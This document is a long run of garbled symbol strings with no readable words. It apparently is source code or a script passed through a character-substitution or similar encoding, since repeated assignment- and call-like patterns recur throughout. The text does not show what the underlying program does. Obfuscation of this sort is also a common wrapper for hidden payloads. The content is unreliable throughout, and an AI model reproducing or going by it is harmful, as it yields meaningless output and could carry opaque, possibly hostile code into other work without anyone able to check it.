!RtZHL^^^^P^YQY^P^^ZFMHGK!ONRtZHL^^P^YQY^^^^P^^^^ZLNOMORt^^^^^^^^ZJOLL^^P^^^YQY^^^^P^^^ZJO
IMRtZJOLL^^^P^^YQY^P^^^ZF
!Rtttt^^^ZJOLL^^^^^P^YQY^P^ZFMHGK!ONRt^ZJOLL^^P^^^^YQY^^^^P^^^^^ZLNOMORt^WEt^^ZL!FNF^C^	O!
FKVWEt^ZHL!%#^C^ZL!FNF%O#Et^^^^^ZHL!%#^C^ZL!FNF%O#^^^^^P^M!VOIGFWEtt^^^^
VZL!FNFWEt^^^^^^^^VJ	VLNIMWVGHNVLNFGWWW^^tQQ^
^

^S
tt^^^VVW^^>GHNVLNFGWVZII!N	GNL^^P^^MHFKVLNGNW^^P^ZJIW^^^^^ZKHFW^^^ZHL!%#^^^^C^ZKHFEt^tt^^^^VVW^^^^>GHNVLNGOWVZII!N	GNL^^P^^^^^J	VLNGLW^^P^ZJIW^^^^^^^ZKHFW^^ZHL!%#^^^^C^ZKHFEtttt^^^^^^VVW^^^^^^>KO	VLNGOWV?<-.?*6^^^^^P^MHFKVLNGMW^^P^^ZJI
IHG^^^P^^^^GHNVLNGJWW^^^^^^Z	LFGHW^ZHL!%#^^C^^^^^^Z	LFGHEtt^^^^VVW^>KO	VLNGOWVZII!N	GNL^P^^YQY^^^P^^^^^ZJI
IHG^P^^^M!VLNGJWW^^^Z	LFGHW^ZHL!%#^^^C^^^Z	LFGHEt^^^^VVW^>MHFKVLNGOWVZLNGGMOH^^^^^P^^^YQY^P^^^ZJI
IHG^^P^^^^M!VLNGJWW^^^^^Z	LFGHW^ZHL!%#^^C^Z	LFGHEt^^^VVW^^^^>MHFKVLNGOWVZHL^^P^^^YQY^P^^^^ZJI
IHG^^^^P^KO	VLNGKWW^^^^Z	LFGHW^^^^ZHL!%#^^C^^^^^Z	LFGHEt^^^^^^^^VVW^^>J	VLNGOWVZJOLL^P^YQY^P^^^^ZJI
IHG^^^P^M!VLNGKWW^^^^^Z	LFGHW^^^^ZHL!%#^^^^^C^^Z	LFGHEt^^^^^^tZ	!K	IJMLGH^^^^C^K!NGJ	V?<-.?*6^P^^^YYR^^^^VKUMWWEtZIKI	L!^C^^^^^^V?<-.?*6^^P^^^^M!VOHHIWR^^ZII!N	GNLR^^^ZLNGGMOHR^^^^ZHLR^^^ZJOLLWEtt^^^^^VZIKI	L!^^^Z!W^^^^t^^^V>J	VLNNKWVZ!W^^XX^^^^^>J	VOHFLWVZ!WW^^^^HLKMH	KVZ!^^P^^M!VLNGHW^^^P^^^^Z	!K	IJMLGHR^MFKKIO
VWR^^GHNVLNGIWWEt^^^t^^^VGHNVLNIMWVM!VLNGFWWW^t^^^^^^VZIKI	L!^^^^^^^^^Z!W^^^t^^VVGHNVKFLWR^^^^MHFKVLNGGWR^M!VLONNWR^^^^KO	VLONOWR^^J	VLONLWR^^^MHFKVLONMWR^^^^^M!VLONJWR^^GHNVLONKWR^MHFKVLONHWW^^^^^^^^^^ZHGFW^^^tttt^^^^^^^VVW^>KO	VLONIWVZ!^^P^^YQY^^^P^^^ZHGF^^^^P^^^YTYW^^^^^ZKFW^^^ZHL!%#^^^C^^ZKFEt^^^ttt^^VVW^>MHFKVLONIWVZ!^^^P^^^J	VLONFWW^^^^ZOLOFGW^^ZHL!%#^^C^^ZOLOFGEtt^^^^tt^
VZ	!K	IJMLGHR^ZIKI	L!R^Z!R^^ZHGFR^ZKFR^ZOLOFGWEtZHMG^^C^^^^^V?<-.?*6^^P^^KO	VOKNKWR^^ZII!N	GNL^P^^^^MHFKVOJFFWWEt^^^^^VZHMG^^^Z!GG!GI!W^^^^^t^^^^V_>M!VLNKGWVZ!GG!GI!WW^^
EtZ
JGO^C^^>GHNVLONGWVZ!GG!GI!WEt^^VZ
JGO^^^^XX^^^^^KO	VLNFJWVZ
JGOR^^KO	VLOONWW^_CC^^^W^t^^Z
JGO^^C^^J	VLOOOWVJ	VOOKJW^^^P^^^KO	VLOOLWVZFMHGK!ONR^YQYW^^^^P^^^J	VOOKKWR^^\"\R^Z
JGOWEt^VGHNVLOOMWVZ
JGOWW^^t^^Z
JGO^^C^J	VLOOOWVMHFKVOOKHW^P^^J	VLOOLWVZFMHGK!ONR^^YQYW^P^MHFKVOOKKWR^^^\"\R^Z
JGOWEtt^^^^VMHFKVLOOJWVZ
JGOWW^^^tQQ^^

^^).^.
^;
tt^Z
JGO^^^^C^^M!VLOOKWVM!VOOKIW^P^^^^J	VLOOLWVZFMHGK!ONR^YQYW^^^P^^^M!VLOOHWR^^^\"\R^^^Z
JGOWEtttt^^tt^^^^^VJ	VLOOJWVZ
JGOWW^GGLJO!MOVZ!GG!GI!R^^^^^Z
JGOWEt^^^ttttt^^^^Z	LMFFI^^C^^^^^?<-.?*6^^^^^P^^^^^KO	VOKGGWEt^^^^^^V_>J	VLNKGWVZ	LMFFIWW^t^Z!ILJ^^^^C^^GHNVLOOIWV?<-.?*6W^^^^P^^^^GHNVOGHNWEt^^^^^V>KO	VLOOFWVZ!ILJWW^^^Z	LMFFI^^C^^Z!ILJEZHLCVNIUNGKWEZ

LGKHNCZHL[OOEtt^^^^^^^^^V>KO	VLOOGWVZ	LMFFIW^XX^^^^>M!VLOLNWVZ	LMFFIWW^^^tQQ^
^

^ttttt^^^^^Z!	^C^^^^^>M!VLONGWVZ	LMFFIWEt^^^^^^^VKO	VLOLOWVZ!	W^XX^^^^^^J	VLNFJWVZ!	R^J	VHNLWW^^^_CC^W^tQQ^^S
ttZKN
M	^^C^M!VLOOKWVJ	VLOLLWR^^\\R^Z!	WEtt^^^VMHFKVLOLMWVZKN
M	W^^^^^XX^^ZKN
M	^^^_CC^^Z!	^XX^^^^^JKOOFVZKN
M	WW^^^t^ZKG	O^^^C^^>GHNVLOLJWVZ	LMFFIWEt^^^^VGGLJO!MOVZ	LMFFIR^ZKN
M	W^^^^^XX^^^^ZKG	OW^>GHNVOGJHWVZ	LMFFIR^^ZKG	OWEt^^^^^^^ttt
VZKN
M	R^^^ZKG	OWEt^t
VZ!	WEt^^^t^^
VZ	LMFFIR^^Z!ILJWEt^^^ZONJ^^C^^MHFKVLOLKWVGHNVLNJLWW^^^^A^>M!VLNJLWVKO	VLNJMWW^^D^^^Et^V_ZONJ^^^^^^^^^ZONJ^CCC^^\\W^ZONJ^^C^J	VLOLHWEt^^Z!KOHOLF^^^C^^V?<-.?*6^^P^^ZONJR^^^ZII!N	GNL^P^YQY^^^^P^^ZONJWEt^^^^^^^VZ!KOHOLF^^^Z!MI	W^^t^^^^^^^V_>MHFKVLOOGWVZ!MI	WW^
Et^Z
JGO^^C^^^^^^>GHNVLOLIWVZ!MI	WEt^^^^VZ
JGO^^XX^^^KO	VLOLFWVZ
JGOR^GHNVLOONWW^_CC^W^ttt^^^^^Z
JGO^^^C^^M!VLOLGWVM!VLOMNW^^P^^GHNVLOOLWVZLNOMOR^^^YQYW^^^P^^^^M!VLOMOWR^\\R^^^Z
JGOWEt^^^^^^VKO	VLOLMWVZ
JGOWW^^GGLJO!MOVZ!MI	R^Z
JGOWEt^t^t^ZMLMLOF^^^^^^C^^^^^VttZII!N	GNL^P^^^YQY^P^ZLNOMORtttt^^^ZLNGGMOH^^P^^^YQY^^P^^ZLNOMORt^^^^ZHL^^^^P^^^^YQY^^P^^^^^ZLNOMORtWEtZGOMI^C^^^^MHFKVIOHWVZHL!R^^^ZMLMLOFWEtt^^VZMLMLOF^^^^^ZNW^^t^^V>M!VLOMLWVZNWW^^^^^t^^MIFJHVZNR^VNKNUNOKJWWEtttt^^^GGLJO!MOVZNR^^^GHNVLOMMWWEt^^tt^^^^^^VZGOMI^^^^^ZNW^t^^^^^V>M!VLOMLWVZNWW^^^ttt^^^^^^^MIFJHVZNR^VMFFUMLWWEttOM	VZNWEttt^ttttt^^^^^^^^^^VJGFIII!VW^^^^^^^ZF!K	LW^t^^^^^V_>GHNVLOMLWVZF!K	LW^^^^^^_>MHFKVLOLNWVZF!K	LWW^^^
Et^Z
JGO^^^^C^^>M!VLOLIWVZF!K	LWEt^^^^VGHNVLOLMWVZ
JGOWW^^^^tQT^
^
S
^TQtt^^ZLIILJ^C^
MK!FLF!VZ
JGOR^^^^^^GHNVOFMHWR^^MHFKVLOMJWWEttt^ZLIILJ^C^
MK!FLF!VZLIILJR^^^^^^M!VLOMKWR^^^^^^J	VLOMJWWEt^^^^^VJ	VLOLMWVZLIILJW^^^^XX^^^^ZLIILJ^_CC^^Z
JGOW^GGLJO!MOVZF!K	LR^ZLIILJWEt^
VZLIILJWEt^^t^t^^^^^^^^VMHFKVLOLKWVMHFKVLOMHWW^XX^^GHNVLOLKWVGHNVLOMIWWW^tZ^^C^^M!FLVWEtttt^^^^^VZ^^^_CC^^W^^^ZOCSFLKEZN	OCVZO@NWAZODSZOEt^^^^^^ZO!HM^^^^C^>M!VLOMFWVZR^^^Y	YR^NR^^^NWEt^^^^VZO!HMW^^tttt^>MHFKVLOMGWVZO!HMWEtttt>KO	VLOJNWVZO!HMWEt^t^^^^t^^^^t^^VGHNVLOJOWVJ	VLNNNWWW^^^^t^^ZOLLFM^^C^^^^K!NGJ	V?<-.?*6^^P^^^KO	VOHMHWR^^^VHUJWWEZNI	L	OCFOTHEZ	IMLKCZNI	L	OSJJEt^>
!
VZOLLFMWEtttt^^^^^^^ZLMNFG^^^C^^J	VLOJOWVJ	VLOJLWW^A^^^^^>
!
VGHNVOGLHWR^VWW^^^^^D^^^VWEt^^^^VJ	VOGKKWVZLMNFGWW^^^^^tQQ^).^6^<D^
^

ttt^^V
VZLMNFG%YY#WW^OM	VZLMNFG%YY#WEt^^^V
VZLMNFG%KO	VLNMFW#W^^^^XX^^^^KO	VOGKKWVZLMNFG%KO	VLNMFW#WW^t^^^^VZLMNFG%GHNVLOJMW#^^Z!W^^^tttt^^^^^^^^^^VKO	VOGKKWVZ!W^^^^^^XX^
VZ!%YY#WW^OM	VZ!%YY#WEtt^^^t^t>
!
VM!VOGLHWWEt^^tttt^^^^>
!
VM!VOGLMWWEt^^>
!
VGHNVLOJJWWEt^^^>
!
VM!VLOJKWWEt>
!
VKO	VLOJHWWEttt>
!
VJ	VLOJIWWEt^^^^>
!
VGHNVLNJJWWEttt^^>
!
VM!VOJFJWWEtttt^^
VZLMNFGR^^^^^^Z!WEt^^t^^VM!VLOJOWVMHFKVGNOWWW^^^^t>
!

VM!VIHFWWEt^>
!

VMHFKVOHGMWWEt^^^^^^>
!

VNLGM
MIJ
KVWWEt^ttt^^^^^VJ	VLOJOWVKO	VLOJFWWW^ttt^^^>	!!!VJ	VLOJGWWEt^^^^>	!!!VMHFKVLOKNWWEtt>	!!!VI
HM	GLVWWEt^^t^^^^
^V*	^^^ZMN!W^^^^^t^^^^^!LNLVMHFKVLOKOWR^ZMN!WEt^^^
^V;
^^^^^^ZMN!W^^^^t^^tt^^
^
MVWtttt^^
^^^t^V_VM!VLNNHWWW^^
^^^^^Et^^^ZII!N	GNL^^^C^^J
J!	VWEt^^^ZG
!

^^C^ZII!N	GNL^^^^^^P^^^J	VLNHOWEt^ZHMFF^^^C^J	VOIHNWVK		HK!	VWR^^GHNVLNIGWWEt^^Z!FH!M^C^^^FNGNVWEttt^^^^^V_Z!FH!M^^^GHNVLNKHWVZ!FH!MW^B^^^^VFOLSMOLW^^^^^KO	VLNKHWVZ!FH!MW^@^^^VONJFJFFUFFW^^^^^
F	LFHVZ!FH!MW^^^^^^^^_JKOOFVZ!FH!MWW^^^^
^^^Et^^^^Z
^C^^^^>GHNVOKOMWVZG
!

W^^^A^^^^^>MHFKVLOLIWVZG
!

W^^D^^\\Et^^^V_J	VLOLMWVZ
WW^^^^t^!LNLVGHNVIMFWR^M!VOJHOWWEt^^^^^
^^^Etttt^^t^^Z
^^^^C^^^^!ML!JNGNVZ
WEt^^ZJIF^C^^MFKKIO
VW^^^^^P^^^YDY^^P^K!NGJ	V?<-.?*6^^P^^KO	VLOKLWR^^VJH MFWWEt^Z
		MGKF^^^C^J	VLOKMW^^^^P^^ZJIF^P^^M!VOHJIWEt^^^^^^ZLN	MFFL^^^C^^^^^GHNVLOKJW^P^^ZJIF^^^P^^^^KO	VOHJIWEtZLFNG^C^^K!NGJ	V?<-.?*6^^^P^^^^GHNVLOKLWR^^VOJSHWWEt^^ZMFN

H	^^C^^^^MHFKVLOKKWVKO	VLOKHW^^^^^^P^^ZLFNG^^^^P^J	VLOKIWR^^^^\\R^^^^Z
WEtZ
H!!^C^^VKO	VLOLFWVZMFN

H	R^GHNVLOKFWW^_CC^^WEt^^^^^VM!VLOLFWVZ
R^Z
		MGKFW^^_CC^^^^XX^GHNVLOLFWVZ
R^^^ZLN	MFFLW^^^_CC^^^^XX^^_Z
H!!W^^^
^^^
Et^Z
^^^^^^C^^M!VLOKKWVKO	VLOKGWR^\\R^^^^^ZMFN

H	WEt^^^^^^^V_GHNVLOHNWVZ
WW^^^^^^t!LNLVKO	VIMFWR^^MHFKVOKOLWWEt
^^Ettt^^ZIIJONFI!K^^^C^^^GKHOMHVWEt^^^V_ZIIJONFI!KW^^^
^^^EtZILOGLI^C^^J	VLOHOW^^P^M!VLNHHWVGHNVOFFGWVZHMFF^^P^^^V
W^OFGH!JKG
VWWR^^^^NR^^^^^VOBBMWWEt^^^^^^^^ZM	LF^^^^^C^^

	!!OVtJ	VIMGWRt^^^^^^^VY!!-2+9!!YR^^Y!!.2+970!<?-;HJ!!YR^Y!!9+?,:!0?3;!!YR^^Y!!(;,-710!!YWRt^^^VZHMFFR^^ZIIJONFI!KR^^ZILOGLIR^MFKKIO
VWWt^WEtttt^^^^^^^^^V_ZM	LFW^^^^^t^^^^^^^VV
W^^^^
!
VKO	VOKNMWR^^^^^NW^@^^^^NW^^^!LNLVJ	VIMFWR^^MHFKVLOHLWWEt^^^^
^Et^^^^^tZ
^^^^C^!ML!JNGNVZ
WEt^^^ZOH!OG	^C^KO	VLOKKWVKO	VOHKKWR^^\\R^^ZM	LFWEt^^^^Z	HGKI	N	^C^^^VKO	VLOHMWVZ
W^^CCC^^NWEt^^^^^^^V_Z	HGKI	N	W^^^^t^^^^^^^V_
NN!IKMVKO	VIMFWWW^^tt^^!LNLVGHNVIMFWR^^^^MHFKVLOHJWWEt
^^^^^Etttt^^^^^^^^t^^^^^V_O!FMJVZG
!

R^^^Z
WW^^^^t^^^^!LNLVMHFKVIMFWR^^^MHFKVOGGLWWEtt
^EttLMGKGVKO	VIMFWWEtt^^^^^^^^^^t^^^^^^^^V_O!FMJVZG
!

R^\\WW^^t^^^^^^^!LNLVGHNVIMFWR^^MHFKVOGGLWWEt^^^
^^^^Et^^t^^^^^t^^^^ZJM^^^^^C^^^^^	GGM!HVZ
R^Z
		MGKF^P^\"\^^P^ZOH!OG	^^P^^\"\^^P^^ZLN	MFFLWEtttt^^V_GGLJO!MOVZG
!

R^ZJMWW^^^tttt^
^Et^t^^^^^^^^VZ	HGKI	N	W^^^^K
VZG
!

WEt^
^^^
Et^^^
^V*	^^ZMN!W^t^^^!LNLVMHFKVIMFWR^^ZMN!WEtt^^^^^
^Et^^^^^^^^
^^^^^V;
^^^ZMN!W^^t^^
^Et^^t^t
^JGFIII!VWt^t^^^^Z
M	F^^^C^^^^^VWEt^^^^^V_KO	VLOHKWVGHNVLOJLWWW^^^^
^Z
M	FEt^^Z	ML^^^^C^VVMHFKVLNNJWW^^A^^^).!=10*;0*!:7,^^^D^^^^^^VVM!VLNNHWW^^^A^?<-.?*6^P^KO	VGINW^D^^^^^\\WW^^^P^^M!VLOHHWEtt^^^^^ZF!G	HM^C^^^V
W^^>
!
VM!VOLKKWR^^^\\WEt^^^^^VZF!G	HM^^^_CC^\\W^^^^^Z
M	F%#^^^C^^^Z	ML^^^^P^^^ZF!G	HM^^^^P^^^^GHNVLOHIWEt^^^Z	FMF^^C^^^^^V
W^^^^^>
!
VGHNVLOHFWR^^^\\WEtt^^^^^^VZ	FMF^^_CC^\\^XX^^Z	FMF^^^_CC^^ZF!G	HMW^^^Z
M	F%#^^^C^Z	ML^^P^^^Z	FMF^^P^GHNVLOHIWEt^^^^^
^^^Z
M	FEt^^t^^^^^
^^^KHGFOHHVWtt
^^t^^^^V_VGHNVLNNHWW^^^^_MHFKVLOHKWVM!VLOJLWWW^^^
Et^^^^VJGFIII!VW^^^^^^^^ZK
JOHW^^^^t^^^ZGII^C^JOHMLKLVW^P^^^GHNVLOHGW^^P^^K!NGJ	VZK
JOHR^^VOUOOWW^^P^^^GHNVOFHIWEtttt^^^^V_>M!VLOMLWVZGIIWW^^
EZ
	L!C.6.!70*!3?&Q.6.!70*!3?&EZNOCZ
	L!UKNEt^^V>KO	VLOINWVZK
JOHW^XX^^>MHFKVOGMJWVZK
JOHW^^@^^^^^NW^^^
Et^^ZHOOLGOK^^^^C^^>J	VLOIOWVZGIIWEt^^^^^^^^^^^V_M!VLOHNWVZHOOLGOKW^^^^ZHOOLGOK^^^CCC^^^^\\W^
Et^^^^VGGLJO!MOVZK
JOHR^^ZHOOLGOKWW^t^!LNLVJ	VIJNWR^^MHFKVLOILWWEt^>
!
VGHNVLOIMWR^GHNVLOIJWVWR^KO	VLNMMWWEttt^^^t^^^^t^^
^^V*	^^^ZMN!W^^^t^^^!LNLVKO	VLOIKWR^^^^ZMN!WEt^^^^
^^^V;
^^^ZMN!W^tQQ^^
^^).^HPM^ttttt^^^^^
^^F	LHOI
VWttt^
^^^t^V_VKO	VLNNHWWW^^^^
^^Etttt^ZNOHL^^^C^^^^^JGFIII!VWEt^^^^^V
VZNOHLWW^
^^^EtttZ
IGJ
H^^C^^^^^V
W^
!
VMHFKVLOIMWR^^^^^NWEttt^^^VZ
IGJ
H^XX^GHNVLOIJWVW^^^S^^Z
IGJ
H^^B^^^^^^VFHMGKUKWW^^
^Et^^^^^ttt^^^ZJIF^^^C^^MFKKIO
VW^^P^YDY^^^^P^^^K!NGJ	V?<-.?*6^P^KO	VOFMMWR^^^^VLLK LMMWWEt^^Z
		MGKF^^^^C^^GHNVLOIHW^P^^ZJIF^^^^P^KO	VOHJIWEtZLN	MFFL^^^^^C^^^J	VLOIIW^P^^ZJIF^^^^P^^M!VOHJIWEt^^^^^^ZILOGLI^^^C^^^KO	VLOIFW^^^P^^^^GHNVLNHHWVMHFKVOFFGWV?<-.?*6^^^P^^^V
W^^OFGH!JKG
VWWR^^NR^^VOUIWWEt^tt^ZHMFF^C^^^^J	VOIHNWVK		HK!	VWR^^GHNVLOIGWWEtZIIJONFI!K^^^^^C^^GKHOMHVWEt^^^V_ZIIJONFI!KW^^
^^^EtZNFK^^C^^

	!!OVtM!VIJOWRt^^VY!!-2+9!!YR^^^Y!!.2+970!<?-;HJ!!YR^^Y!!9+?,:!0?3;!!YR^Y!!(;,-710!!YWRt^^VZHMFFR^^^ZIIJONFI!KR^^^ZILOGLIR^MFKKIO
VWWt^^^^^WEttt^^^V_ZNFKW^^^t^^^^^VV
W^
!
VKO	VOKNMWR^^NW^^@^NW^^!LNLVMHFKVLOIKWR^^KO	VLOFNWWEt^
^^Et^^^^t^^^^^ZNFK^^^C^J	VLOKKWVGHNVOHKKWR^^^\\R^^ZNFKWEt^^V_KO	VLOHNWVZNFKW^^^^^^ZNFK^CCC^^^^^^\\W^^^^^^
^^Et^^^VZNOHL^^^^ZF!K	LW^^ttt^^^^^V_>KO	VLOINWVZF!K	LWW^
Ett^Z		O^C^MHFKVLOFOWVGHNVLOFLWW^^^^^A^^>M!VLOFMWVZF!K	LR^^YYW^D^Ettt^^^^^^^^^^VZ		O^^_CC^^^^^XX^^^^^^J	VLOFJWVJ	VOKMLWWW^^>VZ		OR^21=5!;&WEt^Z
^C^>M!VLOFKWVZF!K	LWEt^^^V_J	VLOHNWVZ
WW^^^^t^!LNLVJ	VLOIKWR^MHFKVOJHOWWEt^^VZ		O^^^^^_CC^^W^^^t^VGHNVLOFJWVGHNVLOFHWWW^>VZ		OR^^21=5!+0WEt^^^^>VZ		OWEt^t^^^^
Ett^
^t^^^^^^^^^VMHFKVLOFIWVZ
W^^^^@^^VOJJMGUONMJOMIWW^^^Z
^C^!ML!JNGNVZ
WEtt^^^^^^^^^VKO	VLOLFWVZ
R^Z
		MGKFW^_CC^^^^^XX^MHFKVLOFFWVZ
R^^ZLN	MFFLW^^^^^_CC^^W^^
^
Et^^^V_>GHNVLOFGWVZF!K	LWW^^^
EtZGII^C^^^^JOHMLKLVW^^^^^P^^GHNVLOGNW^^P^K!NGJ	VZF!K	LR^^^VOMM OMIWW^^^P^^J	VOFHIWEt^^^Z	!J^C^K!NGJ	V?<-.?*6^P^KO	VLOGOWR^^^VOOSMWWEt^^Z
^C^^
MK!FLF!VZ
R^MHFKVOFMHWR^^M!VLOGLWWEt^Z
^^C^^^KO	VLOKKWVMHFKVLOGMWR^^\\R^^Z
WEt^^^V_M!VLOHNWVZ
WW^^^^t^^^^^^^!LNLVKO	VLOIKWR^^GHNVLOGJWWEtt^^^^^^
Ett^tttt^^VJ	VLOGKWVZ
R^^M!VOGLGWW^^^_CC^^^^KO	VLOGHWVZ
R^GHNVLNOGWW^_CC^^^^^W^^^^^t^Z!NMGGF^^C^>J	VLOGIWVZGIIW^^^A^^^^>J	VLOFKWVZGIIW^^D^Et^^^^^V_KO	VLOHNWVZ!NMGGFW^^^^Z!NMGGF^^^^CCC^^\\W^^t!LNLVM!VLOIKWR^^^^KO	VLOGFWWEtttt
Et^t^^^^Z
^^^^^C^Z!NMGGFEZ
FNI

N!	KC.6.!3?41,!(;,-710EZLCZ
FNI

N!	KTHEt^
VZ!NMGGFWEtt^Z			
O^C^!
VZ
WEt^^^^^^^VGHNVLOGGWVZ			
OW^^^XX^^Z			
O^_CC^^\\W^^^tttZNOLMF^^^^C^^^^^>GHNVLOGIWVZGIIW^^A^^^^>M!VLOFKWVZGIIW^^D^Et^^^^^^^V_MHFKVLOGGWVZNOLMFW^^^ZNOLMF^^_CC^Z			
OW^GGLJO!MOVZGIIR^^^Z			
OWEt^
VZNOLMFWEt^^^tttt^^
VZ			
OWEt^^Z
G!OKGG^^^^^C^^^M!VLOMMWEt^^^^^^^^^VMHFKVLLNNWVZ
W^@^N^^XX^MHFKVLLNOWVZ
R^^^^MHFKVOMGGWW^^^_CC^^^^^^^XX^M!VLLNLWVM!VLLNMWVZ
WR^SLW^^^_CC^^^^MHFKVOIOOWW^t^^Z
G!OKGG^^C^^^^^\\Et^^tZJ
H^^C^^^^^^VGHNVLLNNWVZ
W^@^^NW^^^A^\"\^D^\\Et^^^ZMJHN^^^C^^ZJ
H^^^P^^^^Z
G!OKGG^^^^P^^Z
		MGKF^^^P^^^^^\"\^^^^P^^^^^ZNFK^^^^^P^^^\"\^P^^^ZLN	MFFL^^^^^P^^^^\"\Et^^^^^^V_O!FMJVZF!K	LR^^Z
WW^^t!LNLVGHNVLOIKWR^GHNVOGGLWWEt^^^^^^^^
Et^^tQQ^>

^
tt^^^^^V_GGLJO!MOVZF!K	LR^Z
^^P^^^^^^ZMJHNWW^^^
Ett^
^^
Et^^^^^^^^^^^t^^^VZ		O^^^^^_CC^W^^t^^^^^^^^VMHFKVLOFJWVJ	VLOFHWWW^^>VZ		OR^21=5!+0WEtttt^^>VZ		OWEt^^tQQ^).^HPH^^D^^Sttt^t^^
^^^^^Et^^^^
^^^^V*	^^ZMN!W^^t!LNLVKO	VLLNJWR^^ZMN!WEt^
^Et^^
^^V;
^^ZMN!W^^t
^Et^^t^^t^
^^
!LIMIVWt^^^^^t^
^^^^^tt^^^^^V_VMHFKVLNNHWWW^^^
Et^^^^^^^^V	KOLVK		HK!	VWWW^^^
EtZII!N	GNL^C^^^J
J!	VWEt^^ZJI^^C^^^^K!NGJ	V?<-.?*6^P^^GHNVOJOJWR^^^VNOUNIWW^^^^^P^^M!VLLNKWEtZHMFF^^^^^C^^^^^^M!VOIHNWVK		HK!	VWR^^KO	VLLNHWWEt^Z!FH!M^^C^FNGNVWEZINC.6.!3?41,!(;,-710EZOOCZINTIEt^^^^V_Z!FH!M^^^J	VLLNIWVZ!FH!MW^^B^^^VLGJULNHWW^^^^t^^^^^^!LNLVJ	VLLNFWR^M!VLLNGWWEttt^^^^^
Et^tttt^^^^^V_GHNVHONWVMHFKVLLONWWW^^
Et^^^^ZHH^^C^^^^^VtZII!N	GNL^^^^P^^^YQY^^^^^P^ZJIRtZII!N	GNL^P^M!VLLOOW^P^^^^^J	VLLOLWVJ	VLLOMWW^^P^ZJIRt^WEt^^^^^^^ZHHHO^^^C^VVM!VLLOJWW^^^^^A^^^).!=10*;0*!:7,^^^^^D^^?<-.?*6^P^^GHNVLLOKWW^^^P^^^KO	VOLKIWEtt^^^^^^V>KO	VLNNKWVZHHHOWW^tt^^Z		IO^C^^	MLGG	KH!!!VZHHHOWEt^^^^^^^^VMHFKVLLOHWVZ		IOWW^^^t^^^^^^^^VZ		IO^^^^^^^^ZMN!W^^t^^^^ZOMO!^C^^ZHHHO^^P^^^^YQY^^^^^P^^ZMN!Et^^^^^V>GHNVLLOIWVZOMO!W^^XX^^>M!VLOFGWVZOMO!WW^^t^^^^^^^^ZHH%#^^^^^^C^ZOMO!^^^P^^YQY^P^^^^^ZJIEtttt^^^^Ett^t^^^^tt^t^^^VZHH^^ZNOKIOOLW^^^^t^^^^^^^^V>GHNVOKOMWVZNOKIOOLW^XX^^>GHNVOGMJWVZNOKIOOLW^^@^^VGHHUMJWW^^^t^^^^^ZNIH^^^^^C^^^^J	VLLONWEttt^^^^^VM!VHONWVZNIHWW^^^tQQ^S
^
tt^^^^ZNI

!^^^^^C^	^^ZNIHVWEt^^^^^^^^V>ZNI

!S@VZNOKIOOLW^^^^CCC^^
W^^ZK	COMTMEZJFCZK	SLIEt^ZNI

!S@VWEt^^^
Ettt^^^tQQ^).^<

^<D^

S^
Stt^ttt^Z	G	
LLF^^^^C^^GHNVLOOIWVZNOKIOOLWEt^^^^^^^^^V_>M!VLLOIWVZ	G	
LLFWW^OF!NKIOVZ	G	
LLFR^^VILUJLOWR^^
WEtZNIH^C^GHNVLLOFWEt^^ZJ	!F^C^NHGINGFOVZ	G	
LLFR^KO	VFKLWWEt^^^^^^^^VZJ	!F^^^CCC^^^^^W^^
Et^^ZOIL^^^^^C^^^	^^^ZNIHVWEt^^^^V>ZOILS@VZJ	!FR^^ZNIHDD=,;?*;^^^^^ZNIHDD1(;,),7*;W^^^^CCC^^^^
W^tQQ^
^
^ttttZOILS@8-
VZHMFF^^P^YQY^^P^^ZHMFF^^^^P^^M!VLLNHWR^^Z!FH!MWEt^^^ZOILS@VWEt^^^^ZOH^^^C^^^^	^^ZNIHVWEt^^^^^^^^^V>ZOHS@VZJ	!FW^CCC^^^
W^^tt^ZOHS@VWEt^^^^tt^^^^^VHOMFHJVZJ	!FR^^^ZNOKIOOLW^^^VIM!OHJVZJ	!FR^^^^ZNOKIOOLW^^^XX^^^OM	VZJ	!FWWW^t^		KOLLVZNOKIOOLR^MGGHHVWWEt^^MIFJHVZNOKIOOLR^VLNHULOJWWEt^^^^^^tQQ^).^<^*^	
^tt^^^OM	VZJ	!FWEt^^^ttt^^^^^^tt^^^^OM	VZJ	!FWEt^t^^^^^^tOM	VZJ	!FWEttttt^^^^^^^tttt^^^^^
^V*	^^ZMN!W^^^t!LNLVGHNVOJOJWR^^ZMN!WEt^^^^^^
^V;
^^^^ZMN!W^^^tt^^^^t^^^^t^^^^
^^!
	JLKKGIVWt^^^^^^^^tt^^^^
^^^^ZCHHUINEZJ!CZSJKEt^^^^V_J	VLOFJWVMHFKVJMNWW^^^^^_KO	VLOFJWVGHNVJLGWWW^^
Et^^^V_VMHFKVLNNHWWW^^^
Et^Z
JJKL^C^^KO	VLOJGWEt^^V_	!
!VZ
JJKLWW^t^	!!
VJ	VLOIJWVW^U^VKFJSLFJWR^KO	VLLOGWR^^Z
JJKLWEtt^t^^^^^V_	!
!VJ	VLOKNWWW^^^^^^t^^	!!
VM!VLOIJWVW^^U^^^^^VKLGUIOWR^^GHNVJLIWR^M!VLLLNWWEtttt^^^^
^V*	^^ZMN!W^^tt^^^^^!LNLVKO	VLLLOWR^^ZMN!WEt^
^V;
^ZMN!W^^^t^^^^^^tt
^JL!
GVWt^^^^^t^
^^^t^^^^^^^V_VGHNVLLLLWWW^^^
Et^^^Z
I!K^^C^^K!NGJ	V?<-.?*6^^P^^^^YYR^^VJUJWWEtt^ZO!HKLJ^^C^^VWEt^^^^VJ	VLLLMWVJ	VLLLJWWW^^^ZO!HKLJ%#^^^^^C^^JOHMLKLVWEt^^^^ZO!HKLJ%#^^C^^^?<-.?*6^^P^^^^KO	VOHHIWEt^^^^^^^VKO	VLLLMWVMHFKVLLLKWWW^^^^^^ZO!HKLJ%#^^^C^J
J!	VWEt^^^VZO!HKLJ^^^Z
GW^^^^^^t^^^^^ZMMKO^^C^^Z
G^^P^GHNVOHHMW^^^^P^Z
I!KEttt^^^^^V>MHFKVLLLHWVZMMKOW^^XX^^V
W^^^^>M!VLOLJWVZMMKOW^^^@^^^M!VLLLIWVW^^S^^^VMNBBMWW^^^^^^
Et^^t^^^^VZO!HKLJ^^^^^^^^Z
GW^tZ!HIO	^^C^^Z
G^^^P^^^GHNVLNGHW^^P^^^Z
I!KEtt^^^^^^V>M!VLLLFWVZ!HIO	WW^tQT^
^^TQttZGH	O!^^C^^^V
W^^^>M!VLOLJWVZ!HIO	WEttt^^^^^^VZGH	O!^@^^J	VLLLIWVW^^S^^^^^^VNJOUNONOW^^^^^XX^ZGH	O!^^^^BC^^MHFKVLLLIWVW^U^VNFMUNGWW^^
Et^^^^OM	VZ!HIO	WEtttt^^t^^Z	GONH
K^^^C^^Z
